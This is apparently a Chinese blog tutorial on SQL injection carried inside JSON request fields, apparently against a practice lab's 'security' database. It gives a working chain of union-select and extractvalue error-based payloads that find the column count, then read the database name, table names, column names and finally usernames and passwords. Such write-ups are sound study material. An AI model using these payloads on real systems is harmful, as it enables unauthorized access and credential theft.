json的注入

当应用程序将用户输入的JSON数据直接拼接到SQL查询中,而没有充分验证和过滤时,就会产生JSON注入漏洞。

常见场景:

  • RESTful API接口

  • 前后端分离应用

  • 移动应用后端

  • 微服务架构

json注入原理:json注入是指应用程序所解析的json数据来源于不可信赖的数据源,程序对这些不可信赖的数据进行验证,过滤,如果应用程序使用未经验证的输入构造json,则可以更改json数据的语义。

梳理json语句怎么使用:

{"username": "admin' union select..."}

这里先找他的列数吧

{"username": "admin' order by 1 #"}

{"username": "admin' order by 2 #"}依次类推

1.查询数据库

json={"username":"admin' union select 1,extractvalue(1,(concat(0x7e,(select database()),0x7e)))#"}

加入找到的是security数据库

2.查询到数据库后然后查询数据库的表

json={"username":"admin' union select 1,extractvalue(1,(concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e)))#"}

假如找到的的是user表

3.查询到数据库的表之后查列数

{"username":"admin' union select 1,extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),0x7e))#"}

4.然后在列数里面寻找有用的信息

{"username":"admin' union select 1,extractvalue(1,concat(0x7e,(select password from users limit 0,1),0x7e))#"}

{"username":"admin' union select 1,extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))#"}

拆分来看就是这样的一个写法:

{

"username": "admin' union select

1, -- 第一个字段占位

extractvalue(1, -- 第二个字段执行注入

concat(0x7e,

(select database()), -- 要提取的数据

0x7e)

) #"

}

相关推荐
PixelBai1 天前
JSON压缩使用教程:从入门到精通
json
nexustech1 天前
simplejson:Python JSON 处理的备用引擎
开发语言·python·其他·json
m0_497048932 天前
Prompt工程:从自然语言到代码化思维
json
ID_180079054732 天前
淘宝商品评论 API(taobao.item.reviews.get)业务场景与 JSON 返回实战
json
PixelBai2 天前
JSON差异比较高级用法技巧
java·服务器·json
hhzz2 天前
Uniapp项目中解决一个比较典型的图标渲染问题:原生 tabBar(pages.json 里配置的那种)
uni-app·json
Ajie'Blog2 天前
2026年AI安全与治理:从幻觉到系统性欺骗的攻防之战
javascript·人工智能·安全·rpc·json·rag
PixelBai2 天前
JSON差异比较对比指南
json
珺毅同学2 天前
YOLO生成预测json标签迁移问题
python·yolo·json
PixelBai3 天前
JSON差异比较集成指南与工作流自动化
运维·自动化·json